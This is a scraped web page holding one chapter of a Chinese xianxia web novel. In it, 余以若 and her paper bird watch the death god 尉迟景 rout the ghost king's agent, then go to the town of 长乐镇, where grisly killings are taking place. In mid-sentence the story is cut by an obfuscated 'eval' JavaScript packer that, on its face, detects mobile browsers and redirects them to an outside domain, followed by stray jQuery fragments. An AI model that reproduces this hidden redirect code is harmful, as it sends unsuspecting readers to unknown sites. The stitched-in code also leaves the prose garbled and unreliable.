默认冷灰
24号文字
方正启体

2. 长乐镇

作者:秸七本书字数:K更新时间:
    乌泱泱的黑衣人,头戴兜帽,眉宇间不带分毫温度,沿着队伍中心看去,


    但见玄衣男子高坐马上,半张脸遮着银制面具,薄唇微抿,目光从容地注视着前方。


    余以若收回目光,见躲在她身侧的大鸟仍旧哆哆嗦嗦的,不禁纳闷,不就是鬼王在人间的代理人吗?


    怎么怕成这个样子。


    正想着,突兀地响起几阵兵刃交接的声音,余以若浑身紧绷,把脑袋伏低了些,以便观望是哪个不要命的,竟然敢劫持鬼王的手下。


    罡风骤然轰开,哗啦啦地吹得林叶震颤,余以若死死地攥紧手中的枝桠,一动不动地睁开眼。


    不知从哪冒出的几个蒙面人甩出手中的钢鞭,猛地往地上一甩,卷走了打落在地的刀剑,脚下好似抖了三抖,高居马上的玄衣男子坐定,微微扬起下巴,睥睨着马下的人,


    淡淡开口,“识相的就给我滚,不识相可别怪我不客气。”


    马下的蒙面人并未言语,而是默默地侧过身子,让出了正中间的路,缓缓地走出来一个人。


    红袍少年迎风而立,不同于四下一贯的黑压压,此人的出现登时增添了几抹亮色,尤为惹眼的是他的眼,淡漠不带半点温度,姣好的骨相皮相,纵然是枝叶正盛,泻下的流光万丈,也分明被少年的姿颜比了下去。


    待看清了他的脸,余以若心下止不住地狂颤,这不就是当日她失手杀死的人,这会儿在这,他是人抑或是鬼?


    纸鸢颤动得更厉害了,使劲地扒拉了下余以若的衣角,低声道:“余以若……我们快走。”


    余以若全神注意着对面,没有理会它,绕过手,拍了拍它的脑袋以作安慰。


    纸鸢忍不住了,要是这人出了什么事,青阳要把它顿成十全大补汤,何况那个红袍少年,它就算没见过,也分明感受得出来,此人不简单,就算是青阳道长来了,也不一定能在他手上讨条活路。


    “余以若,快走,那两人你都打不过。”纸鸢压低声音,


    在她耳边焦急地劝道,“你再不走,被牵扯下去,保不准小命就没了,余以若,走。”


    经过它的一番劝导,眼前的人总算动了动,扭过头来,说的却是,“那个人好像就是上次被我杀了的冤大头。”


    余以若一口/交代完,伸出手戳了戳僵硬的纸鸢,纳闷道:“你怎么变成石头了。”


    纸鸢颤巍巍地睁开眼,差点尖叫出声,“你说什么!”


    “嘘,快过来,我们看看哪方能赢。”余以若也知道自己闯祸了,连忙把纸鸢捞过来,和她一起挤在草垛的缝隙中,静静地打探着不远处的一举一动。


    却不知他们后面说了什么,只听高坐马上的人一声冷笑,“狂妄之徒,死不足惜。”旋即翻身下马,踢出剑鞘的剑,直直地朝红袍少年奔了过去。


    红袍少年挑了挑眉,也不甘示弱,借力跃起,一脚将飞过身前的人一蹬,而后稳稳落地,反观,玄衣男子狼狈地摔至一旁,滚了通身的泥浆,惨不忍睹。


    仅仅眨眼间,就将人撂倒在地,而且,余以若咽了口唾沫,红袍少年手上可是半分武器也无,而玄衣男子手中的玄铁剑,可是上等的极品货色。


    玄衣男子身后的手下见状,俯在他耳边不知道说了什么,只听到一个响亮的‘撤’字,便奋不顾身地跑了,连带着地上漫开的黑气也渐渐地消散得一干二净。


    红袍少年好整以暇地看着,勾了勾手指,身后人递来一封信件,通篇看完,


    甩手一扔,泛黄的纸边霎时燎起一簇极为渺小的赤色火苗,三下五除二便将纸张吞噬殆尽。


    纸鸢看着看着,明黄的瞳仁覆上了复杂的神色,缓缓道:“无命冥火,是死神。”


    “死神?”余以若手上一紧,‘咔擦’一声,手中的枝干裂成两段。


    “谁?”红袍少年身后的蒙面人上前一步,提起剑,眉目狠辣地凝向草垛。


    周遭静得落针可闻,余以若和纸鸢的两颗心跳得扑通扑通响。


    新晋死神尉迟景,谁人不知谁人不晓,修仙之人的噩梦,手刃生父生母,刀下亡魂数不胜数,为达目的不择手段,


    正因他杀戮太重,就算升格成神,也无资格高居上界,只能在凡间苟延残喘。


    余以若暗暗地唾骂了千遍万遍,自己当时怎么就失手杀了他呢,不过,他升格为神,不是杀不死的吗?


    正想着,远处又传来一声,“草垛后面的人,出来!”


    余以若心道,这下好了,原本的飞升吃席,倒变成丢命开席,七大姑八大姨也不用请退了。


    就在一人一鸟绝望透顶,脚步声渐渐逼近的时候,尉迟景开口道,“回来吧,两只老鼠而已。”


    蒙面人愣了下,有些不确定,“就这样放过她们?”


    尉迟景看向他。


    蒙面人脊背生寒,点头如捣蒜般应道,“是,大人。”


    等脚步声早已听不见时,余以若才敢松口气,展开手心,捻起被汗浸得湿透的木头棍子,掰碎几段,


    道:“这下可如何是好了,把他给捅了一刀。”


    纸鸢不想说话,大步往前走去,它真是想不通,它一身才干,


    青阳怎么就把自己甩给了这么个小丫头,脾气又没小师妹好,资质也没大师兄好,还整日指挥它干这干哪。


    就算炖成十全大补汤,也比被人掏了心窝子强。


    余以若见它奋不顾身地飞开,连连追了上去,边跑边喊,“大鸟,你别走啊,不是你说的有转圜余地的吗?”


    “转圜余地是这么转?我碰见过运气不好的,像你这种,一上来就惹到王炸的,说是人中龙凤都不为过。”


    “大鸟,你可别忘了师父是怎么和你说的,你若是走了,我让师父把你炖了。”余以若气喘吁吁地道。


    见它头也不回就飞走了,抓起地上的落叶就甩了出去,风一吹,糊了她一脸,余以若‘呸呸呸’地吐掉落在嘴里的泥沙,


    愤愤道:“还什么神鸟,胆小鬼,不就是个死神吗?说来说去不也是人,就比我术法高点,地位也高点,还有……”


    总而言之,她是打不过的,不仅打不过,连近身的机会都没有,况且就算近得了身,把他的阳寿补回来,也得他同意自己带他去鬼王那里一趟。


    更有传闻,尉迟景和下界的鬼王水火不容,当初尉迟景即将飞升成神,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447523|169447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是鬼王横插了一脚,活生生地把正道的光变成了地狱的邪魔。


    风还是在吹着,吹得林间哗啦作响,余以若一拍脑袋,


    鬼王的手下承祁出现在这,不就是说明附近有死人,而尉迟景刚才又和他大打了一架,势必会在死人堆里等他。


    想到这,余以若心情一下子欢快起来,连忙跑出林子,向四周的农户打听,打听来打听去,总算收到了一个消息,


    那就是长乐镇,最近不知怎么的,接连死人,而且死状极惨,惨到农户向她提起的时候,都连连摇头,表示怕自己讲了晚上做噩梦。


    余以若也怕,但比起升仙来,都是小事,于是她壮着胆子迈入了长乐镇的地界。


    甫一踏入,扑面而来的血腥气就把她熏得晕头转向的。


    她心想,找对了。


    死的人少,承祁看都不会看一眼,而死的人多,他准会亲自过来,细细指点几番。


    偶尔有两个好心人见了,总要开口关心一下,“姑娘,可是一个人来,近来我们长乐镇接连出事,你还是小心为上。”


    “好的,多谢大娘,就是我想问问,这里的乱葬岗在哪。”


    妇人也没想到她会这样问,大抵娇娇弱弱的姑娘是不会对那等脏地方感兴趣的,是以,多问了句,“姑娘去哪是干什么?”


    “我的朋友的朋友不小心丧命了,托我给他敛个尸。”说带此处,余以若还装模作样地揩了下眼角。


    “姑娘莫要伤心,人走了就走了,你既是这般重情重义之人,我便告诉你,你瞧。”大娘伸手指去,


    “在那边,一直往西走就可以了,不过啊。”


    抬头看了看天,


    “日头要落下了,姑娘找个客栈歇下,明日再去也不迟。”


    余以若谢过她,抬脚就打算走,大娘见她单薄瘦小,又跟上她的脚步多叮嘱了几句,


    “姑娘,你敛完尸就抓紧离开吧,近日也不知道是触犯什么了,我们长乐镇接连有人丧命,而且啊,”


    说到此处,大娘四下打转了圈,刻意把声音压得很低,


    “不是被剖了心,就是被断了四肢,在死之前,门上都留着一个血印子。”


    “血印子?”


    “嗯。”大娘点头,“我不能多说了,姑娘,小心些行事。”说完,就离去了。


    余以若怔怔地想着,难道死神尉迟景又大开杀戒了?不对,说不定是妖族作乱,抑或是魔族不安分了。但无论如何,起码不会沾惹到她头上吧。


    她就这么安心地边走边想,寻个客栈,住了进去,瞧见桌上的水,顺手给自己倒了一杯。


    正凑到嘴边,‘哐当’一声,不知哪里射来的石子,手腕吃痛,瓷杯登时四分五裂。


    “谁?”余以若拔出剑,对准窗口,只有窗户没关,石子十有八九就是从外面射来的。


    脚尖点在地上,挪得很轻,余以若浑身上下,绷得很紧,平时有大鸟在身边,面对歹徒她可是嚣张得很,现在她一人,且又因飞升失败,灵脉受损,和一个手无缚鸡之力的凡人是半点区别也没。


    正想着,身后猛地被人一拍。


    “是你?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)